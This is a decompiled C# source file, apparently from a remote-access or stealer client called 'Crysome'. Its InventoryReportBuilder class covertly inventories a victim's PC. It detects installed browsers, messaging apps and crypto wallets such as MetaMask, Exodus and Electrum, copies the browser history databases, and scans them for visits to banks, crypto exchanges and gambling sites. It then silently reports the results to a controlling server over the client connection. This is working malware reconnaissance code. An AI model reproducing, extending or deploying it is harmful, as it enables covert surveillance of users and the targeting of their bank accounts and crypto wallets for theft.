Files
2026-08-27 11:22:54 -06:00

821 lines
23 KiB
C#

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.Json;
using System.Threading;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Microsoft.Win32;
namespace Crysome.Client.Inventory;
internal static class InventoryReportBuilder
{
private static int _infoPollCounter;
private const string DefaultRulesJson = "{\"enabledAppIds\":[\"chrome\",\"firefox\",\"edge\",\"discord\",\"steam\",\"telegram\",\"vscode\",\"notepad_plus_plus\",\"vlc\",\"python\",\"brave\",\"opera\",\"zoom\",\"slack\",\"whatsapp\",\"metamask\",\"exodus\",\"atomic\",\"electrum\"],\"customPaths\":[],\"enabledBankIds\":[\"chase\",\"bankofamerica\",\"wellsfargo\",\"paypal\",\"coinbase_bank\",\"binance\",\"kraken\",\"robinhood\",\"venmo\",\"cashapp\",\"usbank\",\"capitalone\",\"citibank\"],\"enabledCasinoIds\":[\"bet365\",\"draftkings\",\"fanduel\",\"caesars\",\"betmgm\",\"pokerstars\",\"888casino\",\"betonline\",\"bovada\",\"ignitioncasino\",\"betway\",\"1xbet\",\"22bet\",\"bet9ja\",\"betano\",\"betsson\",\"casumo\",\"leovegas\",\"william_hill\",\"unibet\",\"betfair\",\"partycasino\",\"spin_casino\",\"jackpot_city\",\"ruby_fortune\",\"lucky_nugget\"]}";
private static Dictionary<string, string> _registryDisplayNames;
private static readonly Dictionary<string, string[]> AppKeywords = new Dictionary<string, string[]>(StringComparer.OrdinalIgnoreCase)
{
{
"chrome",
new string[1] { "google chrome" }
},
{
"firefox",
new string[1] { "mozilla firefox" }
},
{
"edge",
new string[1] { "microsoft edge" }
},
{
"discord",
new string[1] { "discord" }
},
{
"steam",
new string[1] { "steam" }
},
{
"telegram",
new string[1] { "telegram" }
},
{
"vscode",
new string[2] { "visual studio code", "vscode" }
},
{
"notepad_plus_plus",
new string[1] { "notepad++" }
},
{
"vlc",
new string[1] { "vlc media" }
},
{
"python",
new string[1] { "python" }
},
{
"brave",
new string[1] { "brave" }
},
{
"opera",
new string[2] { "opera", "opera gx" }
},
{
"zoom",
new string[1] { "zoom" }
},
{
"slack",
new string[1] { "slack" }
},
{
"whatsapp",
new string[1] { "whatsapp" }
},
{
"exodus",
new string[1] { "exodus" }
},
{
"atomic",
new string[1] { "atomic wallet" }
},
{
"electrum",
new string[1] { "electrum" }
}
};
private static readonly Dictionary<string, string[]> AppFilePaths = new Dictionary<string, string[]>(StringComparer.OrdinalIgnoreCase)
{
{
"chrome",
new string[3] { "%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe", "%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe", "%LocalAppData%\\Google\\Chrome\\Application\\chrome.exe" }
},
{
"firefox",
new string[2] { "%ProgramFiles%\\Mozilla Firefox\\firefox.exe", "%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe" }
},
{
"edge",
new string[1] { "%ProgramFiles(x86)%\\Microsoft\\Edge\\Application\\msedge.exe" }
},
{
"discord",
new string[1] { "%LocalAppData%\\Discord\\Update.exe" }
},
{
"telegram",
new string[1] { "%AppData%\\Telegram Desktop\\Telegram.exe" }
},
{
"vscode",
new string[1] { "%LocalAppData%\\Programs\\Microsoft VS Code\\Code.exe" }
},
{
"brave",
new string[2] { "%ProgramFiles%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", "%LocalAppData%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" }
},
{
"opera",
new string[3] { "%AppData%\\Opera Software\\Opera Stable\\opera.exe", "%LocalAppData%\\Programs\\Opera\\opera.exe", "%LocalAppData%\\Programs\\Opera GX\\opera.exe" }
},
{
"zoom",
new string[3] { "%AppData%\\Zoom\\bin\\Zoom.exe", "%ProgramFiles%\\Zoom\\bin\\Zoom.exe", "%ProgramFiles(x86)%\\Zoom\\bin\\Zoom.exe" }
},
{
"slack",
new string[1] { "%LocalAppData%\\slack\\slack.exe" }
},
{
"whatsapp",
new string[1] { "%LocalAppData%\\WhatsApp\\WhatsApp.exe" }
},
{
"exodus",
new string[2] { "%LocalAppData%\\Exodus\\Exodus.exe", "%AppData%\\Exodus\\Exodus.exe" }
},
{
"atomic",
new string[1] { "%AppData%\\atomic\\Atomic.exe" }
},
{
"electrum",
new string[1] { "%AppData%\\Electrum\\electrum.exe" }
}
};
private static readonly string[] MetaMaskExtensionPaths = new string[2]
{
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\\User Data\\Default\\Extensions\\nkbihfbeogaeaoehlefnkodbefgpgknn"),
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\\Edge\\User Data\\Default\\Extensions\\ejbalbakoplchlghecdalmeeeajnimhm")
};
private static readonly Dictionary<string, string[]> BankUrlPatterns = new Dictionary<string, string[]>(StringComparer.OrdinalIgnoreCase)
{
{
"chase",
new string[1] { "chase.com" }
},
{
"bankofamerica",
new string[1] { "bankofamerica.com" }
},
{
"wellsfargo",
new string[1] { "wellsfargo.com" }
},
{
"paypal",
new string[1] { "paypal.com" }
},
{
"coinbase_bank",
new string[1] { "coinbase.com" }
},
{
"binance",
new string[2] { "binance.com", "binance.us" }
},
{
"kraken",
new string[1] { "kraken.com" }
},
{
"robinhood",
new string[1] { "robinhood.com" }
},
{
"venmo",
new string[1] { "venmo.com" }
},
{
"cashapp",
new string[2] { "cash.app", "cashapp.com" }
},
{
"usbank",
new string[1] { "usbank.com" }
},
{
"capitalone",
new string[1] { "capitalone.com" }
},
{
"citibank",
new string[2] { "citi.com", "citibank.com" }
}
};
private static readonly Dictionary<string, string[]> CasinoUrlPatterns = new Dictionary<string, string[]>(StringComparer.OrdinalIgnoreCase)
{
{
"bet365",
new string[1] { "bet365.com" }
},
{
"draftkings",
new string[1] { "draftkings.com" }
},
{
"fanduel",
new string[1] { "fanduel.com" }
},
{
"caesars",
new string[2] { "caesars.com", "caesarsonline.com" }
},
{
"betmgm",
new string[1] { "betmgm.com" }
},
{
"pokerstars",
new string[2] { "pokerstars.com", "pokerstars.net" }
},
{
"888casino",
new string[3] { "888casino.com", "888sport.com", "888poker.com" }
},
{
"betonline",
new string[1] { "betonline.ag" }
},
{
"bovada",
new string[1] { "bovada.lv" }
},
{
"ignitioncasino",
new string[1] { "ignitioncasino.eu" }
},
{
"betway",
new string[1] { "betway.com" }
},
{
"1xbet",
new string[2] { "1xbet.com", "1x-bet.com" }
},
{
"22bet",
new string[1] { "22bet.com" }
},
{
"bet9ja",
new string[1] { "bet9ja.com" }
},
{
"betano",
new string[1] { "betano.com" }
},
{
"betsson",
new string[1] { "betsson.com" }
},
{
"casumo",
new string[1] { "casumo.com" }
},
{
"leovegas",
new string[1] { "leovegas.com" }
},
{
"william_hill",
new string[1] { "williamhill.com" }
},
{
"unibet",
new string[1] { "unibet.com" }
},
{
"betfair",
new string[1] { "betfair.com" }
},
{
"partycasino",
new string[2] { "partycasino.com", "partypoker.com" }
},
{
"spin_casino",
new string[1] { "spincasino.com" }
},
{
"jackpot_city",
new string[1] { "jackpotcitycasino.com" }
},
{
"ruby_fortune",
new string[1] { "rubyfortune.com" }
},
{
"lucky_nugget",
new string[1] { "luckynuggetcasino.com" }
}
};
private const int MaxHistoryBytes = 4194304;
public static void OnClientInfoPoll(CrysomeClient client)
{
//IL_0037: Unknown result type (might be due to invalid IL or missing references)
//IL_003c: Unknown result type (might be due to invalid IL or missing references)
//IL_0043: Unknown result type (might be due to invalid IL or missing references)
//IL_004a: Unknown result type (might be due to invalid IL or missing references)
//IL_0056: Expected O, but got Unknown
if (client == null || !client.IsConnected || Interlocked.Increment(ref _infoPollCounter) % 15 != 0)
{
return;
}
try
{
string rulesJson = LoadRulesJson();
string appsJson = BuildAppsJson(rulesJson);
string bankJson = BuildBankJson(rulesJson);
string casinoJson = BuildCasinoJson(rulesJson);
client.SendPacket((IPacket)new ClientInventoryReportPacket
{
AppsJson = appsJson,
BankJson = bankJson,
CasinoJson = casinoJson
});
}
catch
{
}
}
public static string LoadRulesJson()
{
string baseDirectory = AppDomain.CurrentDomain.BaseDirectory;
string[] array = new string[2] { "inventory_rules.json", "Inventory\\default_inventory_rules.json" };
foreach (string path in array)
{
try
{
string path2 = Path.Combine(baseDirectory, path);
if (File.Exists(path2))
{
return File.ReadAllText(path2, Encoding.UTF8);
}
}
catch
{
}
}
return "{\"enabledAppIds\":[\"chrome\",\"firefox\",\"edge\",\"discord\",\"steam\",\"telegram\",\"vscode\",\"notepad_plus_plus\",\"vlc\",\"python\",\"brave\",\"opera\",\"zoom\",\"slack\",\"whatsapp\",\"metamask\",\"exodus\",\"atomic\",\"electrum\"],\"customPaths\":[],\"enabledBankIds\":[\"chase\",\"bankofamerica\",\"wellsfargo\",\"paypal\",\"coinbase_bank\",\"binance\",\"kraken\",\"robinhood\",\"venmo\",\"cashapp\",\"usbank\",\"capitalone\",\"citibank\"],\"enabledCasinoIds\":[\"bet365\",\"draftkings\",\"fanduel\",\"caesars\",\"betmgm\",\"pokerstars\",\"888casino\",\"betonline\",\"bovada\",\"ignitioncasino\",\"betway\",\"1xbet\",\"22bet\",\"bet9ja\",\"betano\",\"betsson\",\"casumo\",\"leovegas\",\"william_hill\",\"unibet\",\"betfair\",\"partycasino\",\"spin_casino\",\"jackpot_city\",\"ruby_fortune\",\"lucky_nugget\"]}";
}
private static string BuildAppsJson(string rulesJson)
{
//IL_0009: Unknown result type (might be due to invalid IL or missing references)
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0018: Unknown result type (might be due to invalid IL or missing references)
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
//IL_0033: Unknown result type (might be due to invalid IL or missing references)
//IL_0038: Unknown result type (might be due to invalid IL or missing references)
//IL_003c: Unknown result type (might be due to invalid IL or missing references)
//IL_0041: Unknown result type (might be due to invalid IL or missing references)
//IL_00c6: Unknown result type (might be due to invalid IL or missing references)
//IL_00cb: Unknown result type (might be due to invalid IL or missing references)
//IL_00cf: Unknown result type (might be due to invalid IL or missing references)
//IL_00d4: Unknown result type (might be due to invalid IL or missing references)
//IL_0047: Unknown result type (might be due to invalid IL or missing references)
//IL_004c: Unknown result type (might be due to invalid IL or missing references)
//IL_00dd: Unknown result type (might be due to invalid IL or missing references)
//IL_00e2: Unknown result type (might be due to invalid IL or missing references)
List<Dictionary<string, object>> list = new List<Dictionary<string, object>>();
try
{
JsonDocument val = JsonDocument.Parse(rulesJson, default(JsonDocumentOptions));
try
{
JsonElement rootElement = val.RootElement;
JsonElement val2 = default(JsonElement);
JsonElement.ArrayEnumerator val3;
JsonElement.ArrayEnumerator enumerator;
if (rootElement.TryGetProperty("enabledAppIds", out val2))
{
val3 = val2.EnumerateArray();
enumerator = val3.GetEnumerator();
try
{
while (enumerator.MoveNext())
{
JsonElement current = enumerator.Current;
string text = current.GetString();
if (!string.IsNullOrWhiteSpace(text))
{
text = text.Trim();
list.Add(new Dictionary<string, object>
{
{ "id", text },
{
"present",
DetectApp(text)
}
});
}
}
}
finally
{
enumerator.Dispose();
}
}
JsonElement val4 = default(JsonElement);
if (rootElement.TryGetProperty("customPaths", out val4))
{
val3 = val4.EnumerateArray();
enumerator = val3.GetEnumerator();
try
{
JsonElement val5 = default(JsonElement);
JsonElement val6 = default(JsonElement);
while (enumerator.MoveNext())
{
JsonElement current2 = enumerator.Current;
string text2 = (current2.TryGetProperty("path", out val5) ? val5.GetString() : null);
string text3 = (current2.TryGetProperty("label", out val6) ? val6.GetString() : "path");
if (!string.IsNullOrWhiteSpace(text2))
{
if (string.IsNullOrWhiteSpace(text3))
{
text3 = "path";
}
string value = "custom:" + text3.Replace(' ', '_');
string path = Environment.ExpandEnvironmentVariables(text2.Trim());
list.Add(new Dictionary<string, object>
{
{ "id", value },
{
"present",
File.Exists(path) || Directory.Exists(path)
},
{ "detail", text2 }
});
}
}
}
finally
{
enumerator.Dispose();
}
}
}
finally
{
((IDisposable)val)?.Dispose();
}
}
catch
{
}
return JsonSerializer.Serialize<Dictionary<string, object>>(new Dictionary<string, object> { { "items", list } }, (JsonSerializerOptions)null);
}
private static string BuildBankJson(string rulesJson)
{
//IL_0009: Unknown result type (might be due to invalid IL or missing references)
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0018: Unknown result type (might be due to invalid IL or missing references)
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
//IL_005e: Unknown result type (might be due to invalid IL or missing references)
//IL_0063: Unknown result type (might be due to invalid IL or missing references)
//IL_0067: Unknown result type (might be due to invalid IL or missing references)
//IL_006c: Unknown result type (might be due to invalid IL or missing references)
//IL_0075: Unknown result type (might be due to invalid IL or missing references)
//IL_007a: Unknown result type (might be due to invalid IL or missing references)
List<Dictionary<string, object>> list = new List<Dictionary<string, object>>();
try
{
JsonDocument val = JsonDocument.Parse(rulesJson, default(JsonDocumentOptions));
try
{
JsonElement rootElement = val.RootElement;
JsonElement val2 = default(JsonElement);
if (!rootElement.TryGetProperty("enabledBankIds", out val2))
{
return "{\"items\":[]}";
}
byte[] array = ReadBrowserHistoryBytes();
string text = ((array != null && array.Length != 0) ? Encoding.ASCII.GetString(array) : "");
JsonElement.ArrayEnumerator val3 =val2.EnumerateArray();
JsonElement.ArrayEnumerator enumerator = val3.GetEnumerator();
try
{
while (enumerator.MoveNext())
{
JsonElement current = enumerator.Current;
string text2 = current.GetString();
if (string.IsNullOrWhiteSpace(text2))
{
continue;
}
text2 = text2.Trim();
if (!BankUrlPatterns.TryGetValue(text2, out var value))
{
continue;
}
bool flag = false;
string[] array2 = value;
foreach (string value2 in array2)
{
if (text.IndexOf(value2, StringComparison.OrdinalIgnoreCase) >= 0)
{
flag = true;
break;
}
}
list.Add(new Dictionary<string, object>
{
{ "id", text2 },
{ "present", flag }
});
}
}
finally
{
enumerator.Dispose();
}
}
finally
{
((IDisposable)val)?.Dispose();
}
}
catch
{
}
return JsonSerializer.Serialize<Dictionary<string, object>>(new Dictionary<string, object> { { "items", list } }, (JsonSerializerOptions)null);
}
private static string BuildCasinoJson(string rulesJson)
{
//IL_0009: Unknown result type (might be due to invalid IL or missing references)
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0018: Unknown result type (might be due to invalid IL or missing references)
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
//IL_005e: Unknown result type (might be due to invalid IL or missing references)
//IL_0063: Unknown result type (might be due to invalid IL or missing references)
//IL_0067: Unknown result type (might be due to invalid IL or missing references)
//IL_006c: Unknown result type (might be due to invalid IL or missing references)
//IL_0075: Unknown result type (might be due to invalid IL or missing references)
//IL_007a: Unknown result type (might be due to invalid IL or missing references)
List<Dictionary<string, object>> list = new List<Dictionary<string, object>>();
try
{
JsonDocument val = JsonDocument.Parse(rulesJson, default(JsonDocumentOptions));
try
{
JsonElement rootElement = val.RootElement;
JsonElement val2 = default(JsonElement);
if (!rootElement.TryGetProperty("enabledCasinoIds", out val2))
{
return "{\"items\":[]}";
}
byte[] array = ReadBrowserHistoryBytes();
string text = ((array != null && array.Length != 0) ? Encoding.ASCII.GetString(array) : "");
JsonElement.ArrayEnumerator val3 =val2.EnumerateArray();
JsonElement.ArrayEnumerator enumerator = val3.GetEnumerator();
try
{
while (enumerator.MoveNext())
{
JsonElement current = enumerator.Current;
string text2 = current.GetString();
if (string.IsNullOrWhiteSpace(text2))
{
continue;
}
text2 = text2.Trim();
if (!CasinoUrlPatterns.TryGetValue(text2, out var value))
{
continue;
}
bool flag = false;
string[] array2 = value;
foreach (string value2 in array2)
{
if (text.IndexOf(value2, StringComparison.OrdinalIgnoreCase) >= 0)
{
flag = true;
break;
}
}
list.Add(new Dictionary<string, object>
{
{ "id", text2 },
{ "present", flag }
});
}
}
finally
{
enumerator.Dispose();
}
}
finally
{
((IDisposable)val)?.Dispose();
}
}
catch
{
}
return JsonSerializer.Serialize<Dictionary<string, object>>(new Dictionary<string, object> { { "items", list } }, (JsonSerializerOptions)null);
}
private static byte[] ReadBrowserHistoryBytes()
{
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
string folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
string[] obj = new string[5]
{
Path.Combine(folderPath, "Google\\Chrome\\User Data\\Default\\History"),
Path.Combine(folderPath, "Microsoft\\Edge\\User Data\\Default\\History"),
Path.Combine(folderPath2, "Mozilla\\Firefox\\Profiles"),
Path.Combine(folderPath, "BraveSoftware\\Brave-Browser\\User Data\\Default\\History"),
Path.Combine(folderPath2, "Opera Software\\Opera Stable\\History")
};
List<byte> list = new List<byte>();
string[] array = obj;
foreach (string text in array)
{
try
{
if (text.EndsWith("Profiles", StringComparison.OrdinalIgnoreCase) && Directory.Exists(text))
{
string[] directories = Directory.GetDirectories(text);
for (int j = 0; j < directories.Length; j++)
{
TryAppendFileBytes(Path.Combine(directories[j], "places.sqlite"), list);
}
continue;
}
TryAppendFileBytes(text, list);
}
catch
{
}
if (list.Count >= 4194304)
{
break;
}
}
if (list.Count <= 0)
{
return null;
}
return list.ToArray();
}
private static void TryAppendFileBytes(string path, List<byte> dest)
{
if (!File.Exists(path))
{
return;
}
string text = Path.Combine(Path.GetTempPath(), "csm_bh_" + Guid.NewGuid().ToString("N") + ".tmp");
try
{
File.Copy(path, text, overwrite: true);
byte[] array = File.ReadAllBytes(text);
int num = Math.Min(array.Length, 4194304 - dest.Count);
if (num > 0)
{
dest.AddRange(array.Take(num));
}
}
finally
{
try
{
File.Delete(text);
}
catch
{
}
}
}
private static bool DetectApp(string id)
{
if (id.Equals("metamask", StringComparison.OrdinalIgnoreCase))
{
string[] metaMaskExtensionPaths = MetaMaskExtensionPaths;
for (int i = 0; i < metaMaskExtensionPaths.Length; i++)
{
if (Directory.Exists(metaMaskExtensionPaths[i]))
{
return true;
}
}
return false;
}
if (AppKeywords.TryGetValue(id, out var value) && value != null)
{
string[] metaMaskExtensionPaths = value;
for (int i = 0; i < metaMaskExtensionPaths.Length; i++)
{
if (RegistryDisplayNameContains(metaMaskExtensionPaths[i]))
{
return true;
}
}
}
if (AppFilePaths.TryGetValue(id, out var value2) && value2 != null)
{
string[] metaMaskExtensionPaths = value2;
foreach (string text in metaMaskExtensionPaths)
{
if (text.IndexOf('*') < 0 && File.Exists(Environment.ExpandEnvironmentVariables(text)))
{
return true;
}
}
}
return false;
}
private static bool RegistryDisplayNameContains(string needle)
{
needle = (needle ?? "").ToLowerInvariant();
if (needle.Length == 0)
{
return false;
}
if (_registryDisplayNames == null)
{
_registryDisplayNames = new Dictionary<string, string>(StringComparer.OrdinalIgnoreCase);
var array = new[]
{
new
{
Hive = Registry.LocalMachine,
Sub = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
},
new
{
Hive = Registry.LocalMachine,
Sub = "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
},
new
{
Hive = Registry.CurrentUser,
Sub = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
}
};
foreach (var anon in array)
{
try
{
using RegistryKey registryKey = anon.Hive.OpenSubKey(anon.Sub);
if (registryKey == null)
{
continue;
}
string[] subKeyNames = registryKey.GetSubKeyNames();
foreach (string text in subKeyNames)
{
try
{
using RegistryKey registryKey2 = registryKey.OpenSubKey(text);
if (registryKey2?.GetValue("DisplayName") is string text2)
{
_registryDisplayNames[text + "|" + anon.Sub] = text2.ToLowerInvariant();
}
}
catch
{
}
}
}
catch
{
}
}
}
foreach (KeyValuePair<string, string> registryDisplayName in _registryDisplayNames)
{
if (registryDisplayName.Value.IndexOf(needle, StringComparison.Ordinal) >= 0)
{
return true;
}
}
return false;
}
}